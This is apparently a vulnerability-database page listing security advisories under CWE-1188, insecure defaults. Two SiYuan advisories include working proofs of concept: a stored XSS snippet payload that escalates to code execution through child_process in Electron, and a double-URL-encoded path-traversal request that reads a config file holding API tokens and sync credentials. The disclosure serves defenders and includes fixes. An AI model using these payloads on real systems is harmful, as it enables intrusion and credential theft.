CWE-1188
AllowedInitialization of a Resource with an Insecure Default
Abstraction: Base · Status: Incomplete
The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.
435 vulnerabilities reference this CWE, most recent first.
GHSA-MVJR-VV3C-W4QV
Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25Summary
A CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like </style><img src=x onerror="..."> runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.
The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.
Details
Affected:
- HEAD
96dfe0b(v3.6.5, 2026-04-21) - Sink:
app/src/config/util/snippets.ts:32 - Source:
/api/snippet/getSnippet, backed bydata/snippets/conf.json - Default config:
EnabledCSS: true,EnabledJS: trueatkernel/conf/snippet.go:26-27 - Electron config:
nodeIntegration:true,contextIsolation:false,webSecurity:falseon everyBrowserWindowinapp/electron/main.js:307,408-411,1107-1110,1150-1153,1322
The write path stores raw content. kernel/api/snippet.go:107-130 copies Content from the request straight into the snippet record with no HTML escape, no </style> check, no type-specific validation:
snippet := &conf.Snippet{
ID: m["id"].(string),
Name: m["name"].(string),
Type: m["type"].(string),
Content: m["content"].(string),
Enabled: m["enabled"].(bool),
}
Storage is workspace-internal and syncs. kernel/model/repository.go:1748,1798 reference data/snippets/conf.json, so the malicious record propagates to every sync peer.
The renderer reads the snippet back through /api/snippet/getSnippet and interpolates it into a <style> tag, raw. app/src/config/util/snippets.ts:32, called on app boot and on the reloadSnippet WebSocket event:
fetchPost("/api/snippet/getSnippet", {type: "all", enabled: 2}, (response) => {
response.data.snippets.forEach((item: ISnippet) => {
const id = `snippet${item.type === "css" ? "CSS" : "JS"}${item.id}`;
if (item.type === "css") {
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${item.content}</style>`);
} else if (item.type === "js") {
// intentional script-loading path
}
});
});
${item.content} lands inside the <style> tag. The HTML parser closes the style on the first </style> substring and treats anything after as a sibling of the empty <style> element.
Worth noting: the JS branch right after the CSS one already does the safe thing. It uses document.createElement("script") and sets el.text = item.content. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a <style> element, and that's the bug.
Suggested fix
The cleanest fix mirrors what the JS branch already does. Build the element with createElement and set textContent:
if (item.type === "css") {
const el = document.createElement("style");
el.id = id;
el.textContent = item.content;
document.head.appendChild(el);
}
textContent on a <style> element populates the CSS rules without invoking the HTML parser, so </style> in the body is a 4-character text node instead of a close tag.
If touching that line is undesirable, the smaller patch is to escape < before interpolation:
const safe = item.content.replace(/[&<]/g, c => c === "&" ? "&" : "<");
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${safe}</style>`);
Either fix on its own closes the bug. Worth also rejecting </style> on the setSnippet backend handler so older renderers pulling the same synced workspace stay safe.
PoC
Stand up SiYuan:
docker run -d --name siyuan-poc \
-v ./workspace:/siyuan/workspace \
-p 16806:6806 \
b3log/siyuan:latest \
--workspace=/siyuan/workspace --accessAuthCode=hunter2
Plant the snippet:
TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)
curl -X POST http://localhost:16806/api/snippet/setSnippet \
-H "Content-Type: application/json" \
-H "Authorization: Token $TOKEN" \
-d '{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\\\"SIYUAN_XSS\\\";window.__siyuan_xss=true\">"}]}'
Returns {"code":0,"msg":"","data":null}. The snippet now sits at workspace/data/snippets/conf.json verbatim.
Open http://localhost:16806/stage/build/desktop/?r=1 or the Electron app pointing at the same workspace, authenticate, and run in DevTools:
({
markerFired: window.__siyuan_xss === true,
styleCount: document.querySelectorAll('style[id^="snippetCSS"]').length,
imgsInHead: document.head.querySelectorAll('img').length,
snippetStyleEmpty: document.querySelector('style[id^="snippetCSS"]')?.textContent.length === 0
})
Result from my run on 2026-05-19 against b3log/siyuan:latest:
{
"markerFired": true,
"styleCount": 1,
"imgsInHead": 1,
"snippetStyleEmpty": true
}
document.title is SIYUAN_XSS. The <style> exists but closed empty on the first </style>. The smuggled <img> is a sibling in <head>. The injected onerror ran arbitrary JS.
To turn it into RCE on Electron, swap the marker payload for:
<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">
require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.
Impact
Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.
The payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a reloadSnippet WebSocket push. No user click required beyond having the app open.
Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/snippet/setSnippet. Once the malicious snippet is in the workspace, every peer that syncs and has enabledCSS:true runs the payload.
The bug also silently bypasses the user's snippet-toggle intent. Someone who turned enabledJS off and left enabledCSS on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260628153353-2d5d72223df4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54067"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:25:09Z",
"nvd_published_at": "2026-06-24T22:16:48Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nA CSS snippet body containing `\u003c/style\u003e` breaks out of its surrounding `\u003cstyle\u003e` tag when `renderSnippet()` interpolates it via `insertAdjacentHTML`. A payload like `\u003c/style\u003e\u003cimg src=x onerror=\"...\"\u003e` runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with `nodeIntegration:true`, so `require(\u0027child_process\u0027)` is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.\n\nThe bug also bypasses the user\u0027s `enabledCSS` / `enabledJS` separation. A user who turned `enabledJS` off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.\n\n### Details\n\nAffected:\n\n- HEAD `96dfe0b` (v3.6.5, 2026-04-21)\n- Sink: `app/src/config/util/snippets.ts:32`\n- Source: `/api/snippet/getSnippet`, backed by `data/snippets/conf.json`\n- Default config: `EnabledCSS: true`, `EnabledJS: true` at `kernel/conf/snippet.go:26-27`\n- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`\n\nThe write path stores raw content. `kernel/api/snippet.go:107-130` copies `Content` from the request straight into the snippet record with no HTML escape, no `\u003c/style\u003e` check, no type-specific validation:\n\n```go\nsnippet := \u0026conf.Snippet{\n ID: m[\"id\"].(string),\n Name: m[\"name\"].(string),\n Type: m[\"type\"].(string),\n Content: m[\"content\"].(string),\n Enabled: m[\"enabled\"].(bool),\n}\n```\n\nStorage is workspace-internal and syncs. `kernel/model/repository.go:1748,1798` reference `data/snippets/conf.json`, so the malicious record propagates to every sync peer.\n\nThe renderer reads the snippet back through `/api/snippet/getSnippet` and interpolates it into a `\u003cstyle\u003e` tag, raw. `app/src/config/util/snippets.ts:32`, called on app boot and on the `reloadSnippet` WebSocket event:\n\n```ts\nfetchPost(\"/api/snippet/getSnippet\", {type: \"all\", enabled: 2}, (response) =\u003e {\n response.data.snippets.forEach((item: ISnippet) =\u003e {\n const id = `snippet${item.type === \"css\" ? \"CSS\" : \"JS\"}${item.id}`;\n if (item.type === \"css\") {\n document.head.insertAdjacentHTML(\"beforeend\", `\u003cstyle id=\"${id}\"\u003e${item.content}\u003c/style\u003e`);\n } else if (item.type === \"js\") {\n // intentional script-loading path\n }\n });\n});\n```\n\n`${item.content}` lands inside the `\u003cstyle\u003e` tag. The HTML parser closes the style on the first `\u003c/style\u003e` substring and treats anything after as a sibling of the empty `\u003cstyle\u003e` element.\n\nWorth noting: the JS branch right after the CSS one already does the safe thing. It uses `document.createElement(\"script\")` and sets `el.text = item.content`. That\u0027s a text-node assignment, no HTML parsing. The CSS branch just doesn\u0027t use the equivalent on a `\u003cstyle\u003e` element, and that\u0027s the bug.\n\n#### Suggested fix\n\nThe cleanest fix mirrors what the JS branch already does. Build the element with `createElement` and set `textContent`:\n\n```ts\nif (item.type === \"css\") {\n const el = document.createElement(\"style\");\n el.id = id;\n el.textContent = item.content;\n document.head.appendChild(el);\n}\n```\n\n`textContent` on a `\u003cstyle\u003e` element populates the CSS rules without invoking the HTML parser, so `\u003c/style\u003e` in the body is a 4-character text node instead of a close tag.\n\nIf touching that line is undesirable, the smaller patch is to escape `\u003c` before interpolation:\n\n```ts\nconst safe = item.content.replace(/[\u0026\u003c]/g, c =\u003e c === \"\u0026\" ? \"\u0026amp;\" : \"\u0026lt;\");\ndocument.head.insertAdjacentHTML(\"beforeend\", `\u003cstyle id=\"${id}\"\u003e${safe}\u003c/style\u003e`);\n```\n\nEither fix on its own closes the bug. Worth also rejecting `\u003c/style\u003e` on the `setSnippet` backend handler so older renderers pulling the same synced workspace stay safe.\n\n### PoC\n\nStand up SiYuan:\n\n```bash\ndocker run -d --name siyuan-poc \\\n -v ./workspace:/siyuan/workspace \\\n -p 16806:6806 \\\n b3log/siyuan:latest \\\n --workspace=/siyuan/workspace --accessAuthCode=hunter2\n```\n\nPlant the snippet:\n\n```bash\nTOKEN=$(jq -r \u0027.api.token\u0027 workspace/conf/conf.json)\n\ncurl -X POST http://localhost:16806/api/snippet/setSnippet \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Token $TOKEN\" \\\n -d \u0027{\"snippets\":[{\"id\":\"\",\"name\":\"poc\",\"type\":\"css\",\"enabled\":true,\"content\":\"\u003c/style\u003e\u003cimg src=x onerror=\\\"document.title=\\\\\\\"SIYUAN_XSS\\\\\\\";window.__siyuan_xss=true\\\"\u003e\"}]}\u0027\n```\n\nReturns `{\"code\":0,\"msg\":\"\",\"data\":null}`. The snippet now sits at `workspace/data/snippets/conf.json` verbatim.\n\nOpen `http://localhost:16806/stage/build/desktop/?r=1` or the Electron app pointing at the same workspace, authenticate, and run in DevTools:\n\n```js\n({\n markerFired: window.__siyuan_xss === true,\n styleCount: document.querySelectorAll(\u0027style[id^=\"snippetCSS\"]\u0027).length,\n imgsInHead: document.head.querySelectorAll(\u0027img\u0027).length,\n snippetStyleEmpty: document.querySelector(\u0027style[id^=\"snippetCSS\"]\u0027)?.textContent.length === 0\n})\n```\n\nResult from my run on 2026-05-19 against `b3log/siyuan:latest`:\n\n```json\n{\n \"markerFired\": true,\n \"styleCount\": 1,\n \"imgsInHead\": 1,\n \"snippetStyleEmpty\": true\n}\n```\n\n`document.title` is `SIYUAN_XSS`. The `\u003cstyle\u003e` exists but closed empty on the first `\u003c/style\u003e`. The smuggled `\u003cimg\u003e` is a sibling in `\u003chead\u003e`. The injected `onerror` ran arbitrary JS.\n\nTo turn it into RCE on Electron, swap the marker payload for:\n\n```html\n\u003cimg src=x onerror=\"require(\u0027child_process\u0027).execSync(\u0027open /Applications/Calculator.app\u0027)\"\u003e\n```\n\n`require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`.\n\n### Impact\n\nStored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.\n\nThe payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a `reloadSnippet` WebSocket push. No user click required beyond having the app open.\n\nAnyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/snippet/setSnippet`. Once the malicious snippet is in the workspace, every peer that syncs and has `enabledCSS:true` runs the payload.\n\nThe bug also silently bypasses the user\u0027s snippet-toggle intent. Someone who turned `enabledJS` off and left `enabledCSS` on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.",
"id": "GHSA-mvjr-vv3c-w4qv",
"modified": "2026-07-10T19:25:09Z",
"published": "2026-07-10T19:25:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvjr-vv3c-w4qv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54067"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: Stored XSS to RCE via CSS-snippet \u003cstyle\u003e breakout in renderSnippet()"
}
GHSA-MXP6-GC8G-J2P9
Vulnerability from github – Published: 2023-10-04 06:30 – Updated: 2023-11-24 09:30On an msdosfs filesystem, the 'truncate' or 'ftruncate' system calls under certain circumstances populate the additional space in the file with unallocated data from the underlying disk device, rather than zero bytes.
This may permit a user with write access to files on a msdosfs filesystem to read unintended data (e.g. from a previously deleted file).
{
"affected": [],
"aliases": [
"CVE-2023-5368"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-04T04:15:14Z",
"severity": "MODERATE"
},
"details": "On an msdosfs filesystem, the \u0027truncate\u0027 or \u0027ftruncate\u0027 system calls under certain circumstances populate the additional space in the file with unallocated data from the underlying disk device, rather than zero bytes.\n\nThis may permit a user with write access to files on a msdosfs filesystem to read unintended data (e.g. from a previously deleted file).",
"id": "GHSA-mxp6-gc8g-j2p9",
"modified": "2023-11-24T09:30:27Z",
"published": "2023-10-04T06:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5368"
},
{
"type": "WEB",
"url": "https://dfir.ru/2023/11/01/bringing-unallocated-data-back-the-fat12-16-32-case"
},
{
"type": "WEB",
"url": "https://security.FreeBSD.org/advisories/FreeBSD-SA-23:12.msdosfs.asc"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231124-0004"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P3XR-XW6J-MJF8
Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35A vulnerability in the use of JSON web tokens by the web-based service portal of Cisco Elastic Services Controller Software could allow an unauthenticated, remote attacker to gain administrative access to an affected system. The vulnerability is due to the presence of static default credentials for the web-based service portal of the affected software. An attacker could exploit this vulnerability by extracting the credentials from an image of the affected software and using those credentials to generate a valid administrative session token for the web-based service portal of any other installation of the affected software. A successful exploit could allow the attacker to gain administrative access to the web-based service portal of an affected system. This vulnerability affects Cisco Elastic Services Controller Software Release 3.0.0. Cisco Bug IDs: CSCvg30884.
{
"affected": [],
"aliases": [
"CVE-2018-0130"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-22T00:29:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability in the use of JSON web tokens by the web-based service portal of Cisco Elastic Services Controller Software could allow an unauthenticated, remote attacker to gain administrative access to an affected system. The vulnerability is due to the presence of static default credentials for the web-based service portal of the affected software. An attacker could exploit this vulnerability by extracting the credentials from an image of the affected software and using those credentials to generate a valid administrative session token for the web-based service portal of any other installation of the affected software. A successful exploit could allow the attacker to gain administrative access to the web-based service portal of an affected system. This vulnerability affects Cisco Elastic Services Controller Software Release 3.0.0. Cisco Bug IDs: CSCvg30884.",
"id": "GHSA-p3xr-xw6j-mjf8",
"modified": "2022-05-13T01:35:45Z",
"published": "2022-05-13T01:35:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0130"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180221-esc1"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/103116"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P489-7CMG-J3GV
Vulnerability from github – Published: 2023-08-15 00:31 – Updated: 2024-04-04 06:57In checkDebuggingDisallowed of DeviceVersionFragment.java, there is a possible way to access adb before SUW completion due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2023-35689"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-14T22:15:14Z",
"severity": "HIGH"
},
"details": "In checkDebuggingDisallowed of DeviceVersionFragment.java, there is a possible way to access adb before SUW completion due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.\n\n",
"id": "GHSA-p489-7cmg-j3gv",
"modified": "2024-04-04T06:57:16Z",
"published": "2023-08-15T00:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35689"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/wear/2023-08-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P4M3-MGMM-C664
Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25Summary
The patch for CVE-2026-41894 ("Path Traversal via Double URL Encoding") sanitized the /export/ route but the
identical root cause remains in the /assets/*path route. In publish mode (anonymous read-only HTTP endpoint,
default port 6808), an unauthenticated remote attacker can read arbitrary files inside WorkspaceDir — including
conf/conf.json (which contains the AccessAuthCode SHA256 hash, API token, and sync keys), temp/siyuan.db,
temp/blocktree.db, and siyuan.log — by double-URL-encoding .. segments.
Verified against siyuan v3.6.5:
- GET /assets/%252e%252e/%252e%252e/conf/conf.json → HTTP 200, 10349 bytes (conf.json served)
- GET /export/%252e%252e/%252e%252e/conf/conf.json → HTTP 401 (patched)
- GET /assets/%2e%2e/conf/conf.json → HTTP 404 (single-decode handled correctly)
## Vulnerable Code
Step 1 — route & first decode (kernel/server/serve.go:587-626):
The router registers GET /assets/*path for the publish listener. Gin performs one URL decoding pass on URL.Path,
so a request for /assets/%252e%252e/... yields context.Param("path") == "/%2e%2e/%2e%2e/conf/conf.json" — literal
%2e%2e strings, which path.Clean cannot collapse.
Step 2 — second decode via fallback (kernel/model/assets.go:536-563, GetAssetAbsPath):
go
p, err := getAssetAbsPath(relativePath)
if nil != err {
// fallback
decoded, e := url.PathUnescape(relativePath) // ← line 548, second decode
if nil == e {
p, err = getAssetAbsPath(decoded)
}
}
After the fallback decodes %2e%2e to .., filepath.Join(DataDir, "../../conf/conf.json") is Clean-ed to
WorkspaceDir/conf/conf.json, an existing file.
Step 3 — publish-mode access gate fall-through (kernel/model/publish_access.go:288,
CheckAbsPathAccessableByPublishAccess):
go
if !filelock.IsSubPath(util.DataDir, absPath) {
return true // ← fall-through allows anything outside DataDir but inside WorkspaceDir
}
Because the resolved file is outside DataDir (it's in WorkspaceDir), the gate returns true and
IsSensitivePath() is never invoked — .db / .log / conf/ denylists do not apply to the /assets/ route at all
(unlike the patched /export/ route, which additionally checks IsSubPath(exportBaseDir, ...)).
Step 4 — file served (http.ServeFile): the request URL.Path contains literal %2e%2e, not .., so Go's
containsDotDot guard passes and the file is sent.
## PoC
Preconditions: siyuan kernel running with publish mode enabled (conf.publish.enable = true). Publish mode is the
documented anonymous read-only endpoint for sharing notebooks.
$ curl -i "http://victim:6808/assets/%252e%252e/%252e%252e/conf/conf.json"
HTTP/1.1 200 OK
Content-Length: 10349
Content-Type: application/json
...
{"appearance":{...},"editor":{...},"system":{...},"accessAuthCode":"<sha256>","api":{"token":"<api token>"}, ...}
Compared with the patched route:
$ curl -i "http://victim:6808/export/%252e%252e/%252e%252e/conf/conf.json"
HTTP/1.1 401 Unauthorized
## Root Cause
Three independent flaws combine:
1. GetAssetAbsPath performs a second url.PathUnescape as a "compatibility" fallback, re-introducing the
double-decode primitive that the CVE-2026-41894 patch eliminated on /export/.
2. CheckAbsPathAccessableByPublishAccess returns true for any path outside DataDir, even when that path is still
inside WorkspaceDir (which contains conf/conf.json, temp/*.db, siyuan.log).
3. The IsSensitivePath() denylist applied to /export/ is not called from the /assets/ handler.
## Impact
Unauthenticated remote arbitrary file read inside WorkspaceDir. Confirmed-readable files include:
- conf/conf.json — accessAuthCode SHA256 (offline crackable), API token, S3/WebDAV sync credentials.
- temp/siyuan.db, temp/blocktree.db, temp/asset_content.db — full notebook content (SQLite).
- siyuan.log — internal paths, OS username, plugin info.
Compromise of accessAuthCode / API token escalates to authenticated kernel API access (full read/write of all
notebooks). Compromise of sync credentials escalates beyond the host.
## Fix
1. Remove the url.PathUnescape fallback in GetAssetAbsPath (assets.go:548), matching the /export/ patch.
2. In CheckAbsPathAccessableByPublishAccess, replace the IsSubPath(DataDir, ...) fall-through with an explicit
allowlist (only DataDir and its publishable subtree) and always call IsSensitivePath().
3. Apply IsSensitivePath() inside the /assets/*path handler in serve.go as defense-in-depth.
## Status
Privately reported via GitHub Security Advisory. PoC reproduced locally against v3.6.5 (publish port 6808): GET
/assets/%252e%252e/%252e%252e/conf/conf.json returned HTTP 200 / 10349 bytes.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260628153353-2d5d72223df4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54066"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:25:04Z",
"nvd_published_at": "2026-06-24T22:16:48Z",
"severity": "HIGH"
},
"details": "## Summary\n The patch for CVE-2026-41894 (\"Path Traversal via Double URL Encoding\") sanitized the `/export/` route but the\n **identical root cause remains in the `/assets/*path` route**. In publish mode (anonymous read-only HTTP endpoint,\n default port 6808), an unauthenticated remote attacker can read arbitrary files inside `WorkspaceDir` \u2014 including\n `conf/conf.json` (which contains the `AccessAuthCode` SHA256 hash, API token, and sync keys), `temp/siyuan.db`,\n `temp/blocktree.db`, and `siyuan.log` \u2014 by double-URL-encoding `..` segments.\n\n Verified against siyuan v3.6.5:\n - `GET /assets/%252e%252e/%252e%252e/conf/conf.json` \u2192 **HTTP 200, 10349 bytes (conf.json served)**\n - `GET /export/%252e%252e/%252e%252e/conf/conf.json` \u2192 HTTP 401 (patched)\n - `GET /assets/%2e%2e/conf/conf.json` \u2192 HTTP 404 (single-decode handled correctly)\n\n ## Vulnerable Code\n\n **Step 1 \u2014 route \u0026 first decode** (`kernel/server/serve.go:587-626`):\n The router registers `GET /assets/*path` for the publish listener. Gin performs one URL decoding pass on `URL.Path`,\n so a request for `/assets/%252e%252e/...` yields `context.Param(\"path\") == \"/%2e%2e/%2e%2e/conf/conf.json\"` \u2014 literal\n `%2e%2e` strings, which `path.Clean` cannot collapse.\n\n **Step 2 \u2014 second decode via fallback** (`kernel/model/assets.go:536-563`, `GetAssetAbsPath`):\n ```go\n p, err := getAssetAbsPath(relativePath)\n if nil != err {\n // fallback\n decoded, e := url.PathUnescape(relativePath) // \u2190 line 548, second decode\n if nil == e {\n p, err = getAssetAbsPath(decoded)\n }\n }\n ```\n After the fallback decodes `%2e%2e` to `..`, `filepath.Join(DataDir, \"../../conf/conf.json\")` is `Clean`-ed to\n `WorkspaceDir/conf/conf.json`, an existing file.\n\n **Step 3 \u2014 publish-mode access gate fall-through** (`kernel/model/publish_access.go:288`,\n `CheckAbsPathAccessableByPublishAccess`):\n ```go\n if !filelock.IsSubPath(util.DataDir, absPath) {\n return true // \u2190 fall-through allows anything outside DataDir but inside WorkspaceDir\n }\n ```\n Because the resolved file is *outside* `DataDir` (it\u0027s in `WorkspaceDir`), the gate returns `true` and\n `IsSensitivePath()` is never invoked \u2014 `.db` / `.log` / `conf/` denylists do not apply to the `/assets/` route at all\n (unlike the patched `/export/` route, which additionally checks `IsSubPath(exportBaseDir, ...)`).\n\n **Step 4 \u2014 file served** (`http.ServeFile`): the request `URL.Path` contains literal `%2e%2e`, not `..`, so Go\u0027s\n `containsDotDot` guard passes and the file is sent.\n\n ## PoC\n\n Preconditions: siyuan kernel running with publish mode enabled (`conf.publish.enable = true`). Publish mode is the\n documented anonymous read-only endpoint for sharing notebooks.\n\n ```\n $ curl -i \"http://victim:6808/assets/%252e%252e/%252e%252e/conf/conf.json\"\n HTTP/1.1 200 OK\n Content-Length: 10349\n Content-Type: application/json\n ...\n {\"appearance\":{...},\"editor\":{...},\"system\":{...},\"accessAuthCode\":\"\u003csha256\u003e\",\"api\":{\"token\":\"\u003capi token\u003e\"}, ...}\n ```\n\n Compared with the patched route:\n ```\n $ curl -i \"http://victim:6808/export/%252e%252e/%252e%252e/conf/conf.json\"\n HTTP/1.1 401 Unauthorized\n ```\n\n ## Root Cause\n Three independent flaws combine:\n 1. `GetAssetAbsPath` performs a second `url.PathUnescape` as a \"compatibility\" fallback, re-introducing the\n double-decode primitive that the CVE-2026-41894 patch eliminated on `/export/`.\n 2. `CheckAbsPathAccessableByPublishAccess` returns `true` for any path outside `DataDir`, even when that path is still\n inside `WorkspaceDir` (which contains `conf/conf.json`, `temp/*.db`, `siyuan.log`).\n 3. The `IsSensitivePath()` denylist applied to `/export/` is not called from the `/assets/` handler.\n\n ## Impact\n Unauthenticated remote arbitrary file read inside `WorkspaceDir`. Confirmed-readable files include:\n - `conf/conf.json` \u2014 `accessAuthCode` SHA256 (offline crackable), API token, S3/WebDAV sync credentials.\n - `temp/siyuan.db`, `temp/blocktree.db`, `temp/asset_content.db` \u2014 full notebook content (SQLite).\n - `siyuan.log` \u2014 internal paths, OS username, plugin info.\n\n Compromise of `accessAuthCode` / API token escalates to authenticated kernel API access (full read/write of all\n notebooks). Compromise of sync credentials escalates beyond the host.\n\n ## Fix\n 1. Remove the `url.PathUnescape` fallback in `GetAssetAbsPath` (assets.go:548), matching the `/export/` patch.\n 2. In `CheckAbsPathAccessableByPublishAccess`, replace the `IsSubPath(DataDir, ...)` fall-through with an explicit\n allowlist (only `DataDir` and its publishable subtree) and **always** call `IsSensitivePath()`.\n 3. Apply `IsSensitivePath()` inside the `/assets/*path` handler in `serve.go` as defense-in-depth.\n\n ## Status\n Privately reported via GitHub Security Advisory. PoC reproduced locally against v3.6.5 (publish port 6808): `GET\n /assets/%252e%252e/%252e%252e/conf/conf.json` returned HTTP 200 / 10349 bytes.",
"id": "GHSA-p4m3-mgmm-c664",
"modified": "2026-07-10T19:25:04Z",
"published": "2026-07-10T19:25:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-p4m3-mgmm-c664"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54066"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: Path Traversal via Double URL Encoding in /assets/*path (publish mode arbitrary file\u2500read), Incomplete fix of CVE-2026-41894 "
}
GHSA-P8Q2-J5X8-G597
Vulnerability from github – Published: 2023-03-23 12:30 – Updated: 2023-03-23 12:30In multiple products of CODESYS v3 in multiple versions a remote low privileged user could utilize this vulnerability to read and modify system files and OS resources or DoS the device.
{
"affected": [],
"aliases": [
"CVE-2022-4224"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-23T12:15:00Z",
"severity": "HIGH"
},
"details": "In multiple products of CODESYS v3 in multiple versions a remote low privileged user could utilize this vulnerability to read and modify system files and OS resources or DoS the device.",
"id": "GHSA-p8q2-j5x8-g597",
"modified": "2023-03-23T12:30:15Z",
"published": "2023-03-23T12:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4224"
},
{
"type": "WEB",
"url": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=17553\u0026token=cf49757d232ea8021f0c0dd6c65e71ea5942b12d\u0026download="
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PGR9-55PC-CMX2
Vulnerability from github – Published: 2024-08-12 15:30 – Updated: 2024-08-12 15:30Enabled IP Forwarding feature in B&R Automation Runtime versions before 6.0.2 may allow remote attack-ers to compromise network security by routing IP-based packets through the host, potentially by-passing firewall, router, or NAC filtering.
{
"affected": [],
"aliases": [
"CVE-2024-5801"
],
"database_specific": {
"cwe_ids": [
